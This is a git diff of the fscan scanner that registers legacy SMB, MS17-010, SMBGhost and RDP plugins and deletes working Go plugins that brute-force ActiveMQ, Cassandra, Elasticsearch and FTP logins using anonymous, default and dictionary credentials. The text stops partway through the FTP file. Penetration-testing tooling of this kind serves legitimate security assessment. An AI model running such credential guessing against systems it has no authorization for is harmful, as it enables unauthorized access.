diff --git a/Core/Registry.go b/Core/Registry.go index d4b3bdf..124035f 100644 --- a/Core/Registry.go +++ b/Core/Registry.go @@ -28,6 +28,16 @@ import ( _ "github.com/shadow1ng/fscan/plugins/services/snmp" _ "github.com/shadow1ng/fscan/plugins/services/ssh" _ "github.com/shadow1ng/fscan/plugins/services/telnet" + + // 导入Legacy插件适配器 + _ "github.com/shadow1ng/fscan/plugins/legacy/netbios" + _ "github.com/shadow1ng/fscan/plugins/legacy/ms17010" + _ "github.com/shadow1ng/fscan/plugins/legacy/smb" + _ "github.com/shadow1ng/fscan/plugins/legacy/smb2" + _ "github.com/shadow1ng/fscan/plugins/legacy/smbghost" + _ "github.com/shadow1ng/fscan/plugins/legacy/rdp" + _ "github.com/shadow1ng/fscan/plugins/legacy/elasticsearch" + _ "github.com/shadow1ng/fscan/plugins/legacy/findnet" ) // ============================================================================= diff --git a/Plugins/ActiveMQ.go b/Plugins/ActiveMQ.go deleted file mode 100644 index d4415b3..0000000 --- a/Plugins/ActiveMQ.go +++ /dev/null @@ -1,318 +0,0 @@ -package Plugins - -import ( - "context" - "fmt" - "strings" - "sync" - "time" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/output" -) - -// ActiveMQCredential 表示一个ActiveMQ凭据 -type ActiveMQCredential struct { - Username string - Password string -} - -// ActiveMQScanResult 表示扫描结果 -type ActiveMQScanResult struct { - Success bool - Error error - Credential ActiveMQCredential -} - -func ActiveMQScan(info *common.HostInfo) (tmperr error) { - if common.DisableBrute { - return - } - - target := fmt.Sprintf("%v:%v", info.Host, info.Ports) - common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) - - // 设置全局超时上下文 - ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second) - defer cancel() - - // 先尝试默认账户 - common.LogDebug("尝试默认账户 admin:admin") - - defaultCredential := ActiveMQCredential{Username: "admin", Password: "admin"} - defaultResult := tryActiveCredential(ctx, info, defaultCredential, common.Timeout, common.MaxRetries) - - if defaultResult.Success { - saveActiveMQSuccess(info, target, defaultResult.Credential) - return nil - } - - // 生成所有凭据组合 - credentials := generateActiveMQCredentials(common.Userdict["activemq"], common.Passwords) - common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", - len(common.Userdict["activemq"]), len(common.Passwords), len(credentials))) - - // 使用工作池并发扫描 - result := concurrentActiveMQScan(ctx, info, credentials, common.Timeout, common.MaxRetries) - if result != nil { - // 记录成功结果 - saveActiveMQSuccess(info, target, result.Credential) - return nil - } - - // 检查是否因为全局超时而退出 - select { - case <-ctx.Done(): - common.LogDebug("ActiveMQ扫描全局超时") - return fmt.Errorf("全局超时") - default: - common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了默认凭据 - return nil - } -} - -// generateActiveMQCredentials 生成ActiveMQ的用户名密码组合 -func generateActiveMQCredentials(users, passwords []string) []ActiveMQCredential { - var credentials []ActiveMQCredential - for _, user := range users { - for _, pass := range passwords { - actualPass := strings.Replace(pass, "{user}", user, -1) - credentials = append(credentials, ActiveMQCredential{ - Username: user, - Password: actualPass, - }) - } - } - return credentials -} - -// concurrentActiveMQScan 并发扫描ActiveMQ服务 -func concurrentActiveMQScan(ctx context.Context, info *common.HostInfo, credentials []ActiveMQCredential, timeoutSeconds int64, maxRetries int) *ActiveMQScanResult { - // 使用ModuleThreadNum控制并发数 - maxConcurrent := common.ModuleThreadNum - if maxConcurrent <= 0 { - maxConcurrent = 10 // 默认值 - } - if maxConcurrent > len(credentials) { - maxConcurrent = len(credentials) - } - - // 创建工作池 - var wg sync.WaitGroup - resultChan := make(chan *ActiveMQScanResult, 1) - workChan := make(chan ActiveMQCredential, maxConcurrent) - scanCtx, scanCancel := context.WithCancel(ctx) - defer scanCancel() - - // 启动工作协程 - for i := 0; i < maxConcurrent; i++ { - wg.Add(1) - go func() { - defer wg.Done() - for credential := range workChan { - select { - case <-scanCtx.Done(): - return - default: - result := tryActiveCredential(scanCtx, info, credential, timeoutSeconds, maxRetries) - if result.Success { - select { - case resultChan <- result: - scanCancel() // 找到有效凭据,取消其他工作 - default: - } - return - } - } - } - }() - } - - // 发送工作 - go func() { - for i, cred := range credentials { - select { - case <-scanCtx.Done(): - break - default: - common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) - workChan <- cred - } - } - close(workChan) - }() - - // 等待结果或完成 - go func() { - wg.Wait() - close(resultChan) - }() - - // 获取结果,考虑全局超时 - select { - case result, ok := <-resultChan: - if ok && result != nil && result.Success { - return result - } - return nil - case <-ctx.Done(): - common.LogDebug("ActiveMQ并发扫描全局超时") - scanCancel() // 确保取消所有未完成工作 - return nil - } -} - -// tryActiveCredential 尝试单个ActiveMQ凭据 -func tryActiveCredential(ctx context.Context, info *common.HostInfo, credential ActiveMQCredential, timeoutSeconds int64, maxRetries int) *ActiveMQScanResult { - var lastErr error - - for retry := 0; retry < maxRetries; retry++ { - select { - case <-ctx.Done(): - return &ActiveMQScanResult{ - Success: false, - Error: fmt.Errorf("全局超时"), - Credential: credential, - } - default: - if retry > 0 { - common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) - time.Sleep(500 * time.Millisecond) // 重试前等待 - } - - // 创建单个连接超时的上下文 - connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) - success, err := ActiveMQConn(connCtx, info, credential.Username, credential.Password) - cancel() - - if success { - return &ActiveMQScanResult{ - Success: true, - Credential: credential, - } - } - - lastErr = err - if err != nil { - // 检查是否需要重试 - if retryErr := common.CheckErrs(err); retryErr == nil { - break // 不需要重试的错误 - } - } - } - } - - return &ActiveMQScanResult{ - Success: false, - Error: lastErr, - Credential: credential, - } -} - -// ActiveMQConn 尝试ActiveMQ连接 -func ActiveMQConn(ctx context.Context, info *common.HostInfo, user string, pass string) (bool, error) { - addr := fmt.Sprintf("%s:%v", info.Host, info.Ports) - - // 使用上下文创建带超时的连接 - conn, err := common.WrapperTcpWithTimeout("tcp", addr, time.Duration(common.Timeout)*time.Second) - if err != nil { - return false, err - } - defer conn.Close() - - // 创建结果通道 - resultChan := make(chan struct { - success bool - err error - }, 1) - - // 在协程中处理认证 - go func() { - // STOMP协议的CONNECT命令 - stompConnect := fmt.Sprintf("CONNECT\naccept-version:1.0,1.1,1.2\nhost:/\nlogin:%s\npasscode:%s\n\n\x00", user, pass) - - // 发送认证请求 - conn.SetWriteDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) - if _, err := conn.Write([]byte(stompConnect)); err != nil { - select { - case <-ctx.Done(): - case resultChan <- struct { - success bool - err error - }{false, err}: - } - return - } - - // 读取响应 - conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) - respBuf := make([]byte, 1024) - n, err := conn.Read(respBuf) - if err != nil { - select { - case <-ctx.Done(): - case resultChan <- struct { - success bool - err error - }{false, err}: - } - return - } - - // 检查认证结果 - response := string(respBuf[:n]) - - var success bool - var resultErr error - - if strings.Contains(response, "CONNECTED") { - success = true - resultErr = nil - } else if strings.Contains(response, "Authentication failed") || strings.Contains(response, "ERROR") { - success = false - resultErr = fmt.Errorf("认证失败") - } else { - success = false - resultErr = fmt.Errorf("未知响应: %s", response) - } - - select { - case <-ctx.Done(): - case resultChan <- struct { - success bool - err error - }{success, resultErr}: - } - }() - - // 等待认证结果或上下文取消 - select { - case result := <-resultChan: - return result.success, result.err - case <-ctx.Done(): - return false, ctx.Err() - } -} - -// saveActiveMQSuccess 记录并保存ActiveMQ成功结果 -func saveActiveMQSuccess(info *common.HostInfo, target string, credential ActiveMQCredential) { - successMsg := fmt.Sprintf("ActiveMQ服务 %s 成功爆破 用户名: %v 密码: %v", - target, credential.Username, credential.Password) - common.LogSuccess(successMsg) - - // 保存结果 - result := &output.ScanResult{ - Time: time.Now(), - Type: output.TypeVuln, - Target: info.Host, - Status: "vulnerable", - Details: map[string]interface{}{ - "port": info.Ports, - "service": "activemq", - "username": credential.Username, - "password": credential.Password, - "type": "weak-password", - }, - } - common.SaveResult(result) -} diff --git a/Plugins/Cassandra.go b/Plugins/Cassandra.go deleted file mode 100644 index 7d1f402..0000000 --- a/Plugins/Cassandra.go +++ /dev/null @@ -1,365 +0,0 @@ -package Plugins - -import ( - "context" - "fmt" - "net" - "strconv" - "strings" - "sync" - "time" - - "github.com/gocql/gocql" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/output" -) - -// CassandraProxyDialer 实现gocql.Dialer接口,支持代理连接 -type CassandraProxyDialer struct { - timeout time.Duration -} - -func (d *CassandraProxyDialer) DialContext(ctx context.Context, network, addr string) (net.Conn, error) { - host, port, err := net.SplitHostPort(addr) - if err != nil { - return nil, err - } - return common.WrapperTcpWithContext(ctx, network, fmt.Sprintf("%s:%s", host, port)) -} - -// CassandraCredential 表示一个Cassandra凭据 -type CassandraCredential struct { - Username string - Password string -} - -// CassandraScanResult 表示扫描结果 -type CassandraScanResult struct { - Success bool - IsAnonymous bool - Error error - Credential CassandraCredential -} - -func CassandraScan(info *common.HostInfo) (tmperr error) { - if common.DisableBrute { - return - } - - target := fmt.Sprintf("%v:%v", info.Host, info.Ports) - common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) - - // 设置全局超时上下文 - ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second) - defer cancel() - - // 先尝试无认证访问 - common.LogDebug("尝试无认证访问...") - - anonymousCredential := CassandraCredential{Username: "", Password: ""} - anonymousResult := tryCassandraCredential(ctx, info, anonymousCredential, common.Timeout, common.MaxRetries) - - if anonymousResult.Success { - saveCassandraSuccess(info, target, anonymousResult.Credential, true) - return nil - } - - // 生成所有凭据组合 - credentials := generateCassandraCredentials(common.Userdict["cassandra"], common.Passwords) - common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", - len(common.Userdict["cassandra"]), len(common.Passwords), len(credentials))) - - // 使用工作池并发扫描 - result := concurrentCassandraScan(ctx, info, credentials, common.Timeout, common.MaxRetries) - if result != nil { - // 记录成功结果 - saveCassandraSuccess(info, target, result.Credential, false) - return nil - } - - // 检查是否因为全局超时而退出 - select { - case <-ctx.Done(): - common.LogDebug("Cassandra扫描全局超时") - return fmt.Errorf("全局超时") - default: - common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问 - return nil - } -} - -// generateCassandraCredentials 生成Cassandra的用户名密码组合 -func generateCassandraCredentials(users, passwords []string) []CassandraCredential { - var credentials []CassandraCredential - for _, user := range users { - for _, pass := range passwords { - actualPass := strings.Replace(pass, "{user}", user, -1) - credentials = append(credentials, CassandraCredential{ - Username: user, - Password: actualPass, - }) - } - } - return credentials -} - -// concurrentCassandraScan 并发扫描Cassandra服务 -func concurrentCassandraScan(ctx context.Context, info *common.HostInfo, credentials []CassandraCredential, timeoutSeconds int64, maxRetries int) *CassandraScanResult { - // 使用ModuleThreadNum控制并发数 - maxConcurrent := common.ModuleThreadNum - if maxConcurrent <= 0 { - maxConcurrent = 10 // 默认值 - } - if maxConcurrent > len(credentials) { - maxConcurrent = len(credentials) - } - - // 创建工作池 - var wg sync.WaitGroup - resultChan := make(chan *CassandraScanResult, 1) - workChan := make(chan CassandraCredential, maxConcurrent) - scanCtx, scanCancel := context.WithCancel(ctx) - defer scanCancel() - - // 启动工作协程 - for i := 0; i < maxConcurrent; i++ { - wg.Add(1) - go func() { - defer wg.Done() - for credential := range workChan { - select { - case <-scanCtx.Done(): - return - default: - result := tryCassandraCredential(scanCtx, info, credential, timeoutSeconds, maxRetries) - if result.Success { - select { - case resultChan <- result: - scanCancel() // 找到有效凭据,取消其他工作 - default: - } - return - } - } - } - }() - } - - // 发送工作 - go func() { - for i, cred := range credentials { - select { - case <-scanCtx.Done(): - break - default: - common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) - workChan <- cred - } - } - close(workChan) - }() - - // 等待结果或完成 - go func() { - wg.Wait() - close(resultChan) - }() - - // 获取结果,考虑全局超时 - select { - case result, ok := <-resultChan: - if ok && result != nil && result.Success { - return result - } - return nil - case <-ctx.Done(): - common.LogDebug("Cassandra并发扫描全局超时") - scanCancel() // 确保取消所有未完成工作 - return nil - } -} - -// tryCassandraCredential 尝试单个Cassandra凭据 -func tryCassandraCredential(ctx context.Context, info *common.HostInfo, credential CassandraCredential, timeoutSeconds int64, maxRetries int) *CassandraScanResult { - var lastErr error - - for retry := 0; retry < maxRetries; retry++ { - select { - case <-ctx.Done(): - return &CassandraScanResult{ - Success: false, - Error: fmt.Errorf("全局超时"), - Credential: credential, - } - default: - if retry > 0 { - common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) - time.Sleep(500 * time.Millisecond) // 重试前等待 - } - - // 创建单个连接超时的上下文 - connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) - success, err := CassandraConn(connCtx, info, credential.Username, credential.Password) - cancel() - - if success { - return &CassandraScanResult{ - Success: true, - IsAnonymous: credential.Username == "" && credential.Password == "", - Credential: credential, - } - } - - lastErr = err - if err != nil { - // 检查是否需要重试 - if retryErr := common.CheckErrs(err); retryErr == nil { - break // 不需要重试的错误 - } - } - } - } - - return &CassandraScanResult{ - Success: false, - Error: lastErr, - Credential: credential, - } -} - -// CassandraConn 尝试Cassandra连接,支持上下文超时 -func CassandraConn(ctx context.Context, info *common.HostInfo, user string, pass string) (bool, error) { - host, port := info.Host, info.Ports - timeout := time.Duration(common.Timeout) * time.Second - - cluster := gocql.NewCluster(host) - cluster.Port, _ = strconv.Atoi(port) - cluster.Timeout = timeout - cluster.ConnectTimeout = timeout - cluster.ProtoVersion = 4 - cluster.Consistency = gocql.One - - // 如果配置了代理,设置自定义Dialer - if common.Socks5Proxy != "" { - cluster.Dialer = &CassandraProxyDialer{ - timeout: timeout, - } - } - - if user != "" || pass != "" { - cluster.Authenticator = gocql.PasswordAuthenticator{ - Username: user, - Password: pass, - } - } - - cluster.RetryPolicy = &gocql.SimpleRetryPolicy{NumRetries: 3} - - // 创建会话通道 - sessionChan := make(chan struct { - session *gocql.Session - err error - }, 1) - - // 在后台创建会话,以便可以通过上下文取消 - go func() { - session, err := cluster.CreateSession() - select { - case <-ctx.Done(): - if session != nil { - session.Close() - } - case sessionChan <- struct { - session *gocql.Session - err error - }{session, err}: - } - }() - - // 等待会话创建或上下文取消 - var session *gocql.Session - var err error - select { - case result := <-sessionChan: - session, err = result.session, result.err - if err != nil { - return false, err - } - case <-ctx.Done(): - return false, ctx.Err() - } - - defer session.Close() - - // 尝试执行查询,测试连接是否成功 - resultChan := make(chan struct { - success bool - err error - }, 1) - - go func() { - var version string - var err error - - // 尝试两种查询,确保至少一种成功 - err = session.Query("SELECT peer FROM system.peers").WithContext(ctx).Scan(&version) - if err != nil { - err = session.Query("SELECT now() FROM system.local").WithContext(ctx).Scan(&version) - } - - select { - case <-ctx.Done(): - case resultChan <- struct { - success bool - err error - }{err == nil, err}: - } - }() - - // 等待查询结果或上下文取消 - select { - case result := <-resultChan: - return result.success, result.err - case <-ctx.Done(): - return false, ctx.Err() - } -} - -// saveCassandraSuccess 记录并保存Cassandra成功结果 -func saveCassandraSuccess(info *common.HostInfo, target string, credential CassandraCredential, isAnonymous bool) { - var successMsg string - var details map[string]interface{} - - if isAnonymous { - successMsg = fmt.Sprintf("Cassandra服务 %s 无认证访问成功", target) - details = map[string]interface{}{ - "port": info.Ports, - "service": "cassandra", - "auth_type": "anonymous", - "type": "unauthorized-access", - "description": "数据库允许无认证访问", - } - } else { - successMsg = fmt.Sprintf("Cassandra服务 %s 爆破成功 用户名: %v 密码: %v", - target, credential.Username, credential.Password) - details = map[string]interface{}{ - "port": info.Ports, - "service": "cassandra", - "username": credential.Username, - "password": credential.Password, - "type": "weak-password", - } - } - - common.LogSuccess(successMsg) - - // 保存结果 - result := &output.ScanResult{ - Time: time.Now(), - Type: output.TypeVuln, - Target: info.Host, - Status: "vulnerable", - Details: details, - } - common.SaveResult(result) -} diff --git a/Plugins/Elasticsearch.go b/Plugins/Elasticsearch.go deleted file mode 100644 index df636b7..0000000 --- a/Plugins/Elasticsearch.go +++ /dev/null @@ -1,307 +0,0 @@ -package Plugins - -import ( - "context" - "crypto/tls" - "encoding/base64" - "fmt" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/output" - "net/http" - "strings" - "sync" - "time" -) - -// ElasticCredential 表示Elasticsearch的凭据 -type ElasticCredential struct { - Username string - Password string -} - -// ElasticScanResult 表示扫描结果 -type ElasticScanResult struct { - Success bool - IsUnauth bool - Error error - Credential ElasticCredential -} - -func ElasticScan(info *common.HostInfo) error { - if common.DisableBrute { - return nil - } - - target := fmt.Sprintf("%v:%v", info.Host, info.Ports) - common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) - - // 设置全局超时上下文 - ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second) - defer cancel() - - // 首先测试无认证访问 - common.LogDebug("尝试无认证访问...") - unauthResult := tryElasticCredential(ctx, info, ElasticCredential{"", ""}, common.Timeout, common.MaxRetries) - - if unauthResult.Success { - // 无需认证情况 - saveElasticResult(info, target, unauthResult.Credential, true) - return nil - } - - // 构建凭据列表 - var credentials []ElasticCredential - for _, user := range common.Userdict["elastic"] { - for _, pass := range common.Passwords { - actualPass := strings.Replace(pass, "{user}", user, -1) - credentials = append(credentials, ElasticCredential{ - Username: user, - Password: actualPass, - }) - } - } - - common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", - len(common.Userdict["elastic"]), len(common.Passwords), len(credentials))) - - // 并发扫描 - result := concurrentElasticScan(ctx, info, credentials, common.Timeout, common.MaxRetries) - if result != nil { - // 记录成功结果 - saveElasticResult(info, target, result.Credential, false) - return nil - } - - // 检查是否因为全局超时而退出 - select { - case <-ctx.Done(): - common.LogDebug("Elasticsearch扫描全局超时") - return fmt.Errorf("全局超时") - default: - common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1是因为尝试了无认证 - return nil - } -} - -// concurrentElasticScan 并发扫描Elasticsearch服务 -func concurrentElasticScan(ctx context.Context, info *common.HostInfo, credentials []ElasticCredential, timeoutSeconds int64, maxRetries int) *ElasticScanResult { - // 使用ModuleThreadNum控制并发数 - maxConcurrent := common.ModuleThreadNum - if maxConcurrent <= 0 { - maxConcurrent = 10 // 默认值 - } - if maxConcurrent > len(credentials) { - maxConcurrent = len(credentials) - } - - // 创建工作池 - var wg sync.WaitGroup - resultChan := make(chan *ElasticScanResult, 1) - workChan := make(chan ElasticCredential, maxConcurrent) - scanCtx, scanCancel := context.WithCancel(ctx) - defer scanCancel() - - // 启动工作协程 - for i := 0; i < maxConcurrent; i++ { - wg.Add(1) - go func() { - defer wg.Done() - for credential := range workChan { - select { - case <-scanCtx.Done(): - return - default: - result := tryElasticCredential(scanCtx, info, credential, timeoutSeconds, maxRetries) - if result.Success { - select { - case resultChan <- result: - scanCancel() // 找到有效凭据,取消其他工作 - default: - } - return - } - } - } - }() - } - - // 发送工作 - go func() { - for i, cred := range credentials { - select { - case <-scanCtx.Done(): - break - default: - common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) - workChan <- cred - } - } - close(workChan) - }() - - // 等待结果或完成 - go func() { - wg.Wait() - close(resultChan) - }() - - // 获取结果,考虑全局超时 - select { - case result, ok := <-resultChan: - if ok && result != nil && result.Success { - return result - } - return nil - case <-ctx.Done(): - common.LogDebug("Elasticsearch并发扫描全局超时") - scanCancel() // 确保取消所有未完成工作 - return nil - } -} - -// tryElasticCredential 尝试单个Elasticsearch凭据 -func tryElasticCredential(ctx context.Context, info *common.HostInfo, credential ElasticCredential, timeoutSeconds int64, maxRetries int) *ElasticScanResult { - var lastErr error - - for retry := 0; retry < maxRetries; retry++ { - select { - case <-ctx.Done(): - return &ElasticScanResult{ - Success: false, - Error: fmt.Errorf("全局超时"), - Credential: credential, - } - default: - if retry > 0 { - common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) - time.Sleep(500 * time.Millisecond) // 重试前等待 - } - - success, err := ElasticConn(ctx, info, credential.Username, credential.Password, timeoutSeconds) - if success { - isUnauth := credential.Username == "" && credential.Password == "" - return &ElasticScanResult{ - Success: true, - IsUnauth: isUnauth, - Credential: credential, - } - } - - lastErr = err - if err != nil { - // 检查是否需要重试 - if retryErr := common.CheckErrs(err); retryErr == nil { - break // 不需要重试的错误 - } - } - } - } - - return &ElasticScanResult{ - Success: false, - Error: lastErr, - Credential: credential, - } -} - -// ElasticConn 尝试Elasticsearch连接 -func ElasticConn(ctx context.Context, info *common.HostInfo, user string, pass string, timeoutSeconds int64) (bool, error) { - host, port := info.Host, info.Ports - timeout := time.Duration(timeoutSeconds) * time.Second - - // 创建带有超时的HTTP客户端 - client := &http.Client{ - Timeout: timeout, - Transport: &http.Transport{ - TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, - }, - } - - baseURL := fmt.Sprintf("http://%s:%s", host, port) - - // 使用上下文创建请求 - req, err := http.NewRequestWithContext(ctx, "GET", baseURL+"/_cat/indices", nil) - if err != nil { - return false, err - } - - if user != "" || pass != "" { - auth := base64.StdEncoding.EncodeToString([]byte(user + ":" + pass)) - req.Header.Add("Authorization", "Basic "+auth) - } - - // 创建结果通道 - resultChan := make(chan struct { - success bool - err error - }, 1) - - // 在协程中执行HTTP请求 - go func() { - resp, err := client.Do(req) - if err != nil { - select { - case <-ctx.Done(): - case resultChan <- struct { - success bool - err error - }{false, err}: - } - return - } - defer resp.Body.Close() - - select { - case <-ctx.Done(): - case resultChan <- struct { - success bool - err error - }{resp.StatusCode == 200, nil}: - } - }() - - // 等待结果或上下文取消 - select { - case result := <-resultChan: - return result.success, result.err - case <-ctx.Done(): - return false, ctx.Err() - } -} - -// saveElasticResult 保存Elasticsearch扫描结果 -func saveElasticResult(info *common.HostInfo, target string, credential ElasticCredential, isUnauth bool) { - var successMsg string - var details map[string]interface{} - - if isUnauth { - successMsg = fmt.Sprintf("Elasticsearch服务 %s 无需认证", target) - details = map[string]interface{}{ - "port": info.Ports, - "service": "elasticsearch", - "type": "unauthorized-access", - } - } else { - successMsg = fmt.Sprintf("Elasticsearch服务 %s 爆破成功 用户名: %v 密码: %v", - target, credential.Username, credential.Password) - details = map[string]interface{}{ - "port": info.Ports, - "service": "elasticsearch", - "username": credential.Username, - "password": credential.Password, - "type": "weak-password", - } - } - - common.LogSuccess(successMsg) - - // 保存结果 - result := &output.ScanResult{ - Time: time.Now(), - Type: output.TypeVuln, - Target: info.Host, - Status: "vulnerable", - Details: details, - } - common.SaveResult(result) -} diff --git a/Plugins/FTP.go b/Plugins/FTP.go deleted file mode 100644 index f6d54ab..0000000 --- a/Plugins/FTP.go +++ /dev/null @@ -1,346 +0,0 @@ -package Plugins - -import ( - "context" - "fmt" - "github.com/jlaffaye/ftp" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/output" - "strings" - "sync" - "time" -) - -// FtpCredential 表示一个FTP凭据 -type FtpCredential struct { - Username string - Password string -} - -// FtpScanResult 表示FTP扫描结果 -type FtpScanResult struct { - Success bool - Error error - Credential FtpCredential - Directories []string - IsAnonymous bool -} - -func FtpScan(info *common.HostInfo) error { - if common.DisableBrute { - return nil - } - - target := fmt.Sprintf("%v:%v", info.Host, info.Ports) - common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) - - // 设置全局超时上下文 - ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second) - defer cancel() - - // 首先尝试匿名登录 - common.LogDebug("尝试匿名登录...") - anonymousResult := tryFtpCredential(ctx, info, FtpCredential{"anonymous", ""}, common.Timeout, common.MaxRetries) - - if anonymousResult.Success { - // 匿名登录成功 - saveFtpResult(info, target, anonymousResult) - return nil - } - - // 构建凭据列表 - var credentials []FtpCredential - for _, user := range common.Userdict["ftp"] { - for _, pass := range common.Passwords { - actualPass := strings.Replace(pass, "{user}", user, -1) - credentials = append(credentials, FtpCredential{ - Username: user, - Password: actualPass, - }) - } - } - - common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", - len(common.Userdict["ftp"]), len(common.Passwords), len(credentials))) - - // 使用工作池并发扫描 - result := concurrentFtpScan(ctx, info, credentials, common.Timeout, common.MaxRetries) - if result != nil { - // 保存成功结果 - saveFtpResult(info, target, result) - return nil - } - - // 检查是否因为全局超时而退出 - select { - case <-ctx.Done(): - common.LogDebug("FTP扫描全局超时") - return fmt.Errorf("全局超时") - default: - common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名登录 - return nil - } -} - -// concurrentFtpScan 并发扫描FTP服务 -func concurrentFtpScan(ctx context.Context, info *common.HostInfo, credentials []FtpCredential, timeoutSeconds int64, maxRetries int) *FtpScanResult { - // 使用ModuleThreadNum控制并发数 - maxConcurrent := common.ModuleThreadNum - if maxConcurrent <= 0 { - maxConcurrent = 10 // 默认值 - } - if maxConcurrent > len(credentials) { - maxConcurrent = len(credentials) - } - - // 创建工作池 - var wg sync.WaitGroup - resultChan := make(chan *FtpScanResult, 1) - workChan := make(chan FtpCredential, maxConcurrent) - scanCtx, scanCancel := context.WithCancel(ctx) - defer scanCancel() - - // 启动工作协程 - for i := 0; i < maxConcurrent; i++ { - wg.Add(1) - go func() { - defer wg.Done() - for credential := range workChan { - select { - case <-scanCtx.Done(): - return - default: - result := tryFtpCredential(scanCtx, info, credential, timeoutSeconds, maxRetries) - if result.Success { - select { - case resultChan <- result: - scanCancel() // 找到有效凭据,取消其他工作 - default: - } - return - } - } - } - }() - } - - // 发送工作 - go func() { - for i, cred := range credentials { - select { - case <-scanCtx.Done(): - break - default: - common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) - workChan <- cred - } - } - close(workChan) - }() - - // 等待结果或完成 - go func() { - wg.Wait() - close(resultChan) - }() - - // 获取结果,考虑全局超时 - select { - case result, ok := <-resultChan: - if ok && result != nil && result.Success { - return result - } - return nil - case <-ctx.Done(): - common.LogDebug("FTP并发扫描全局超时") - scanCancel() // 确保取消所有未完成工作 - return nil - } -} - -// tryFtpCredential 尝试单个FTP凭据 -func tryFtpCredential(ctx context.Context, info *common.HostInfo, credential FtpCredential, timeoutSeconds int64, maxRetries int) *FtpScanResult { - var lastErr error - - for retry := 0; retry < maxRetries; retry++ { - select { - case <-ctx.Done(): - return &FtpScanResult{ - Success: false, - Error: fmt.Errorf("全局超时"), - Credential: credential, - } - default: - if retry > 0 { - common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) - time.Sleep(500 * time.Millisecond) // 重试前等待 - } - - // 创建结果通道 - resultChan := make(chan struct { - success bool - directories []string - err error - }, 1) - - // 在协程中尝试连接 - connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) - go func() { - defer cancel() - success, dirs, err := FtpConn(info, credential.Username, credential.Password) - select { - case <-connCtx.Done(): - case resultChan <- struct { - success bool - directories []string - err error - }{success, dirs, err}: - } - }() - - // 等待结果或超时 - var success bool - var dirs []string - var err error - - select { - case result := <-resultChan: - success = result.success - dirs = result.directories - err = result.err - case <-connCtx.Done(): - if ctx.Err() != nil { - // 全局超时 - return &FtpScanResult{ - Success: false, - Error: ctx.Err(), - Credential: credential, - } - } - // 单个连接超时 - err = fmt.Errorf("连接超时") - } - - if success { - isAnonymous := credential.Username == "anonymous" && credential.Password == "" - return &FtpScanResult{ - Success: true, - Credential: credential, - Directories: dirs, - IsAnonymous: isAnonymous, - } - } - - lastErr = err - if err != nil { - // 登录错误不需要重试 - if strings.Contains(err.Error(), "Login incorrect") { - break - } - - // 连接数过多需要等待 - if strings.Contains(err.Error(), "too many connections") { - common.LogDebug("连接数过多,等待5秒...") - time.Sleep(5 * time.Second) - continue - } - - // 检查是否需要重试 - if retryErr := common.CheckErrs(err); retryErr == nil { - break - } - } - } - } - - return &FtpScanResult{ - Success: false, - Error: lastErr, - Credential: credential, - } -} - -// FtpConn 建立FTP连接并尝试登录 -func FtpConn(info *common.HostInfo, user string, pass string) (success bool, directories []string, err error) { - Host, Port := info.Host, info.Ports - - // 建立FTP连接 - conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(common.Timeout)*time.Second) - if err != nil { - return false, nil, err - } - defer func() { - if conn != nil { - conn.Quit() - } - }() - - // 尝试登录 - if err = conn.Login(user, pass); err != nil { - return false, nil, err - } - - // 获取目录信息 - dirs, err := conn.List("") - if err == nil && len(dirs) > 0 { - directories = make([]string, 0, min(6, len(dirs))) - for i := 0; i < len(dirs) && i < 6; i++ { - name := dirs[i].Name - if len(name) > 50 { - name = name[:50] - } - directories = append(directories, name) - } - } - - return true, directories, nil -} - -// saveFtpResult 保存FTP扫描结果 -func saveFtpResult(info *common.HostInfo, target string, result *FtpScanResult) { - var successMsg string - var details map[string]interface{} - - if result.IsAnonymous { - successMsg = fmt.Sprintf("FTP服务 %s 匿名登录成功!", target) - details = 